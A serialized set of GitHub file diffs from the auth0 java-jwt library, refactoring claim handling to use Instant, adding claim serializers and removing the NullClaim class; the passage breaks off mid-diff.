 public class TokenExpiredException extends JWTVerificationException {
 
     private static final long serialVersionUID = -7076928975713577708L;
 
-    public TokenExpiredException(String message) {
+    private final Instant expiredOn;
+
+    public TokenExpiredException(String message, Instant expiredOn) {
         super(message);
+        this.expiredOn = expiredOn;
+    }
+
+    public Instant getExpiredOn() {
+        return expiredOn;
     }
 }u}(jG  (3746dcd2fde65838d355c953218d730350c53c59j  5lib/src/main/java/com/auth0/jwt/impl/BasicHeader.javaj  modifiedj  K	j  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -24,8 +24,15 @@ class BasicHeader implements Header, Serializable {
     private final String keyId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
-    
-    BasicHeader(String algorithm, String type, String contentType, String keyId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+
+    BasicHeader(
+            String algorithm,
+            String type,
+            String contentType,
+            String keyId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.algorithm = algorithm;
         this.type = type;
         this.contentType = contentType;u}(jG  (30f6ab186654d45456d1725d07bf5463902cec1dj  6lib/src/main/java/com/auth0/jwt/impl/ClaimsHolder.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -6,11 +6,11 @@
 /**
  * The ClaimsHolder class is just a wrapper for the Map of Claims used for building a JWT.
  */
-public final class ClaimsHolder {
+public abstract class ClaimsHolder {
     private Map<String, Object> claims;
 
-    public ClaimsHolder(Map<String, Object> claims) {
-        this.claims = claims == null ? new HashMap<String, Object>() : claims;
+    protected ClaimsHolder(Map<String, Object> claims) {
+        this.claims = claims == null ? new HashMap<>() : claims;
     }
 
     Map<String, Object> getClaims() {u}(jG  (b1f8e6d3a21f5a0747db6febd374012486b55837j  :lib/src/main/java/com/auth0/jwt/impl/ClaimsSerializer.javaj  addedj  KVj  K j  KVj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  Xe  @@ -0,0 +1,86 @@
+package com.auth0.jwt.impl;
+
+import com.fasterxml.jackson.core.JsonGenerator;
+import com.fasterxml.jackson.databind.SerializerProvider;
+import com.fasterxml.jackson.databind.ser.std.StdSerializer;
+
+import java.io.IOException;
+import java.time.Instant;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Custom serializer used to write the resulting JWT.
+ *
+ * @param <T> the type this serializer operates on.
+ */
+public class ClaimsSerializer<T extends ClaimsHolder> extends StdSerializer<T> {
+
+    public ClaimsSerializer(Class<T> t) {
+        super(t);
+    }
+
+    @Override
+    public void serialize(T holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<String, Object> entry : holder.getClaims().entrySet()) {
+            writeClaim(entry, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    /**
+     * Writes the given entry to the JSON representation. Custom claim serialization handling can override this method
+     * to provide use-case specific serialization. Implementors who override this method must write
+     * the field name and the field value.
+     *
+     * @param entry The entry that corresponds to the JSON field to write
+     * @param gen The {@code JsonGenerator} to use
+     * @throws IOException if there is either an underlying I/O problem or encoding issue at format layer
+     */
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        gen.writeFieldName(entry.getKey());
+        handleSerialization(entry.getValue(), gen);
+    }
+
+    private static void handleSerialization(Object value, JsonGenerator gen) throws IOException {
+        if (value instanceof Date) {
+            gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
+        } else if (value instanceof Map) {
+            serializeMap((Map<?, ?>) value, gen);
+        } else if (value instanceof List) {
+            serializeList((List<?>) value, gen);
+        } else {
+            gen.writeObject(value);
+        }
+    }
+
+    private static void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<?, ?> entry : map.entrySet()) {
+            gen.writeFieldName((String) entry.getKey());
+            Object value = entry.getValue();
+            handleSerialization(value, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    private static void serializeList(List<?> list, JsonGenerator gen) throws IOException {
+        gen.writeStartArray();
+        for (Object entry : list) {
+            handleSerialization(entry, gen);
+        }
+        gen.writeEndArray();
+    }
+
+    private static long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
+    private static long dateToSeconds(Date date) {
+        return date.getTime() / 1000;
+    }
+}u}(jG  (6737031c32b91ff1d666e35e16f317fc81664ed8j  =lib/src/main/java/com/auth0/jwt/impl/ExpectedCheckHolder.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -0,0 +1,25 @@
+package com.auth0.jwt.impl;
+
+import com.auth0.jwt.interfaces.Claim;
+import com.auth0.jwt.interfaces.DecodedJWT;
+
+/**
+ * This holds the checks that are run to verify a JWT.
+ */
+public interface ExpectedCheckHolder {
+    /**
+     * The claim name that will be checked.
+     *
+     * @return the claim name
+     */
+    String getClaimName();
+
+    /**
+     * The verification that will be run.
+     *
+     * @param claim the claim for which verification is done
+     * @param decodedJWT the JWT on which verification is done
+     * @return whether the verification passed or not
+     */
+    boolean verify(Claim claim, DecodedJWT decodedJWT);
+}u}(jG  (9b480116d0c82784e9419fb51c8357ce62de9cbbj  <lib/src/main/java/com/auth0/jwt/impl/HeaderClaimsHolder.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X#  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the header claims when serializing a JWT.
+ */
+public final class HeaderClaimsHolder extends ClaimsHolder {
+    public HeaderClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(jG  (9293fd4daf9482ef2518a29cacf3134305e10280j  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javaj  modifiedj  Kj  Kj  K
j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X7  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.HeaderParams;
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.fasterxml.jackson.core.JsonParser;
 import com.fasterxml.jackson.core.type.TypeReference;
@@ -13,10 +14,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Header parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class HeaderDeserializer extends StdDeserializer<BasicHeader> {
 
@@ -40,10 +41,10 @@ public BasicHeader deserialize(JsonParser p, DeserializationContext ctxt) throws
             throw new JWTDecodeException("Parsing the Header's JSON resulted on a Null map");
         }
 
-        String algorithm = getString(tree, PublicClaims.ALGORITHM);
-        String type = getString(tree, PublicClaims.TYPE);
-        String contentType = getString(tree, PublicClaims.CONTENT_TYPE);
-        String keyId = getString(tree, PublicClaims.KEY_ID);
+        String algorithm = getString(tree, HeaderParams.ALGORITHM);
+        String type = getString(tree, HeaderParams.TYPE);
+        String contentType = getString(tree, HeaderParams.CONTENT_TYPE);
+        String keyId = getString(tree, HeaderParams.KEY_ID);
         return new BasicHeader(algorithm, type, contentType, keyId, tree, objectReader);
     }
 u}(jG  (5c7cf0fc977f9c153c06c3b01cd3f5fa92aca37ej  :lib/src/main/java/com/auth0/jwt/impl/HeaderSerializer.javaj  addedj  K
j  K j  K
j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X#  @@ -0,0 +1,10 @@
+package com.auth0.jwt.impl;
+
+/**
+ * Responsible for serializing a JWT's header representation to JSON.
+ */
+public class HeaderSerializer extends ClaimsSerializer<HeaderClaimsHolder> {
+    public HeaderSerializer() {
+        super(HeaderClaimsHolder.class);
+    }
+}u}(jG  (fe1600bd313d3e84c8aec28926cc790df4fa0ec9j  3lib/src/main/java/com/auth0/jwt/impl/JWTParser.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -9,9 +9,12 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.SerializationFeature;
 import com.fasterxml.jackson.databind.module.SimpleModule;
-
 import java.io.IOException;
 
+/**
+ * This class helps in decoding the Header and Payload of the JWT using
+ * {@link HeaderSerializer} and {@link PayloadSerializer}.
+ */
 public class JWTParser implements JWTPartsParser {
     private final ObjectReader payloadReader;
     private final ObjectReader headerReader;u}(jG  (456d1515e6c911b9bd54f8e8fc4025ca53b5124ej  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  K,j  Kj  KEj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X-  @@ -6,11 +6,11 @@
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.IOException;
 import java.lang.reflect.Array;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.List;
@@ -31,76 +31,85 @@ private JsonNodeClaim(JsonNode node, ObjectReader objectReader) {
 
     @Override
     public Boolean asBoolean() {
-        return !data.isBoolean() ? null : data.asBoolean();
+        return isMissing() || isNull() || !data.isBoolean() ? null : data.asBoolean();
     }
 
     @Override
     public Integer asInt() {
-        return !data.isNumber() ? null : data.asInt();
+        return isMissing() || isNull() || !data.isNumber() ? null : data.asInt();
     }
 
     @Override
     public Long asLong() {
-        return !data.isNumber() ? null : data.asLong();
+        return isMissing() || isNull() || !data.isNumber() ? null : data.asLong();
     }
 
     @Override
     public Double asDouble() {
-        return !data.isNumber() ? null : data.asDouble();
+        return isMissing() || isNull() || !data.isNumber() ? null : data.asDouble();
     }
 
     @Override
     public String asString() {
-        return !data.isTextual() ? null : data.asText();
+        return isMissing() || isNull() || !data.isTextual() ? null : data.asText();
     }
 
     @Override
     public Date asDate() {
-        if (!data.canConvertToLong()) {
+        if (isMissing() || isNull() || !data.canConvertToLong()) {
             return null;
         }
         long seconds = data.asLong();
         return new Date(seconds * 1000);
     }
 
+    @Override
+    public Instant asInstant() {
+        if (isMissing() || isNull() || !data.canConvertToLong()) {
+            return null;
+        }
+        long seconds = data.asLong();
+        return Instant.ofEpochSecond(seconds);
+    }
+
     @Override
     @SuppressWarnings("unchecked")
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
-        if (!data.isArray()) {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
+        if (isMissing() || isNull() || !data.isArray()) {
             return null;
         }
 
-        T[] arr = (T[]) Array.newInstance(tClazz, data.size());
+        T[] arr = (T[]) Array.newInstance(clazz, data.size());
         for (int i = 0; i < data.size(); i++) {
             try {
-                arr[i] = objectReader.treeToValue(data.get(i), tClazz);
+                arr[i] = objectReader.treeToValue(data.get(i), clazz);
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return arr;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
-        if (!data.isArray()) {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
+        if (isMissing() || isNull() || !data.isArray()) {
             return null;
         }
 
         List<T> list = new ArrayList<>();
         for (int i = 0; i < data.size(); i++) {
             try {
-                list.add(objectReader.treeToValue(data.get(i), tClazz));
+                list.add(objectReader.treeToValue(data.get(i), clazz));
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return list;
     }
 
     @Override
     public Map<String, Object> asMap() throws JWTDecodeException {
-        if (!data.isObject()) {
+        if (isMissing() || isNull() || !data.isObject()) {
             return null;
         }
 
@@ -115,21 +124,34 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         try {
-            return objectReader.treeAsTokens(data).readValueAs(tClazz);
+            if (isMissing() || isNull()) {
+                return null;
+            }
+            return objectReader.treeAsTokens(data).readValueAs(clazz);
         } catch (IOException e) {
-            throw new JWTDecodeException("Couldn't map the Claim value to " + tClazz.getSimpleName(), e);
+            throw new JWTDecodeException("Couldn't map the Claim value to " + clazz.getSimpleName(), e);
         }
     }
 
     @Override
     public boolean isNull() {
-        return false;
+        return !isMissing() && data.isNull();
+    }
+
+    @Override
+    public boolean isMissing() {
+        return data == null || data.isMissingNode();
     }
 
     @Override
     public String toString() {
+        if (isMissing()) {
+            return "Missing claim";
+        } else if (isNull()) {
+            return "Null claim";
+        }
         return data.toString();
     }
 
@@ -152,10 +174,7 @@ static Claim extractClaim(String claimName, Map<String, JsonNode> tree, ObjectRe
      * @return a valid Claim instance. If the node is null or missing, a NullClaim will be returned.
      */
     static Claim claimFromNode(JsonNode node, ObjectReader objectReader) {
-        if (node == null || node.isNull() || node.isMissingNode()) {
-            return new NullClaim();
-        }
         return new JsonNodeClaim(node, objectReader);
     }
 
-}
+}
\ No newline at end of fileu}(jG  (2e9a38c238860c1271ea5ad03ef18635e8519042j  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj  removedj  K j  KIj  KIj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  X  @@ -1,73 +0,0 @@
-package com.auth0.jwt.impl;
-
-import com.auth0.jwt.exceptions.JWTDecodeException;
-import com.auth0.jwt.interfaces.Claim;
-
-import java.util.Date;
-import java.util.List;
-import java.util.Map;
-
-/**
- * The {@code NullClaim} class is a Claim implementation that returns null when any of it's methods is called.
- */
-public class NullClaim implements Claim {
-    @Override
-    public boolean isNull() {
-        return true;
-    }
-
-    @Override
-    public Boolean asBoolean() {
-        return null;
-    }
-
-    @Override
-    public Integer asInt() {
-        return null;
-    }
-
-    @Override
-    public Long asLong() {
-        return null;
-    }
-
-    @Override
-    public Double asDouble() {
-        return null;
-    }
-
-    @Override
-    public String asString() {
-        return null;
-    }
-
-    @Override
-    public Date asDate() {
-        return null;
-    }
-
-    @Override
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public Map<String, Object> asMap() throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public String toString() {
-        return "Null Claim";
-    }
-}u}(jG  (7055a2ce73eb4839bd82a168869937f033daa92ej  =lib/src/main/java/com/auth0/jwt/impl/PayloadClaimsHolder.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X&  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the payload claims when serializing a JWT.
+ */
+public final class PayloadClaimsHolder extends ClaimsHolder {
+    public PayloadClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(jG  (37e70f7a96362c1682e0f2e9739c50fd9f6befeaj  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj  modifiedj  Kj  K
j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.RegisteredClaims;
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.auth0.jwt.interfaces.Payload;
 import com.fasterxml.jackson.core.JsonParser;
@@ -11,14 +12,15 @@
 import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 /**
  * Jackson deserializer implementation for converting from JWT Payload parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class PayloadDeserializer extends StdDeserializer<Payload> {
 
@@ -42,13 +44,13 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
             throw new JWTDecodeException("Parsing the Payload's JSON resulted on a Null map");
         }
 
-        String issuer = getString(tree, PublicClaims.ISSUER);
-        String subject = getString(tree, PublicClaims.SUBJECT);
-        List<String> audience = getStringOrArray(tree, PublicClaims.AUDIENCE);
-        Date expiresAt = getDateFromSeconds(tree, PublicClaims.EXPIRES_AT);
-        Date notBefore = getDateFromSeconds(tree, PublicClaims.NOT_BEFORE);
-        Date issuedAt = getDateFromSeconds(tree, PublicClaims.ISSUED_AT);
-        String jwtId = getString(tree, PublicClaims.JWT_ID);
+        String issuer = getString(tree, RegisteredClaims.ISSUER);
+        String subject = getString(tree, RegisteredClaims.SUBJECT);
+        List<String> audience = getStringOrArray(tree, RegisteredClaims.AUDIENCE);
+        Instant expiresAt = getInstantFromSeconds(tree, RegisteredClaims.EXPIRES_AT);
+        Instant notBefore = getInstantFromSeconds(tree, RegisteredClaims.NOT_BEFORE);
+        Instant issuedAt = getInstantFromSeconds(tree, RegisteredClaims.ISSUED_AT);
+        String jwtId = getString(tree, RegisteredClaims.JWT_ID);
 
         return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
     }
@@ -73,16 +75,16 @@ List<String> getStringOrArray(Map<String, JsonNode> tree, String claimName) thro
         return list;
     }
 
-    Date getDateFromSeconds(Map<String, JsonNode> tree, String claimName) {
+    Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
         JsonNode node = tree.get(claimName);
         if (node == null || node.isNull()) {
             return null;
         }
         if (!node.canConvertToLong()) {
-            throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
+            throw new JWTDecodeException(
+                    String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
-        final long ms = node.asLong() * 1000;
-        return new Date(ms);
+        return Instant.ofEpochSecond(node.asLong());
     }
 
     String getString(Map<String, JsonNode> tree, String claimName) {u}(jG  (75e794740101e98f1d9fc9ad211938dbcc7d88b3j  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj  modifiedj  K$j  K	j  K-j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X	  @@ -6,16 +6,17 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.Serializable;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JsonNodeClaim.extractClaim;
 
 /**
  * Decoder of string JSON Web Tokens into their POJO representations.
- *
- * @see Payload
  * <p>
  * This class is thread-safe.
+ *
+ * @see Payload
  */
 class PayloadImpl implements Payload, Serializable {
 
@@ -24,14 +25,24 @@ class PayloadImpl implements Payload, Serializable {
     private final String issuer;
     private final String subject;
     private final List<String> audience;
-    private final Date expiresAt;
-    private final Date notBefore;
-    private final Date issuedAt;
+    private final Instant expiresAt;
+    private final Instant notBefore;
+    private final Instant issuedAt;
     private final String jwtId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Date expiresAt, Date notBefore, Date issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(
+            String issuer,
+            String subject,
+            List<String> audience,
+            Instant expiresAt,
+            Instant notBefore,
+            Instant issuedAt,
+            String jwtId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;
@@ -64,19 +75,35 @@ public List<String> getAudience() {
 
     @Override
     public Date getExpiresAt() {
-        return expiresAt;
+        return (expiresAt != null) ? Date.from(expiresAt) : null;
     }
 
+
     @Override
-    public Date getNotBefore() {
-        return notBefore;
+    public Instant getExpiresAtAsInstant() {
+        return expiresAt;
     }
 
     @Override
     public Date getIssuedAt() {
+        return (issuedAt != null) ? Date.from(issuedAt) : null;
+    }
+
+    @Override
+    public Instant getIssuedAtAsInstant() {
         return issuedAt;
     }
 
+    @Override
+    public Date getNotBefore() {
+        return (notBefore != null) ? Date.from(notBefore) : null;
+    }
+
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return notBefore;
+    }
+
     @Override
     public String getId() {
         return jwtId;u}(jG  (24fe37b797291d232f76e63e5015240f36d26f60j  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj  modifiedj  Kj  K!j  K4j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -1,49 +1,39 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.RegisteredClaims;
 import com.fasterxml.jackson.core.JsonGenerator;
-import com.fasterxml.jackson.databind.SerializerProvider;
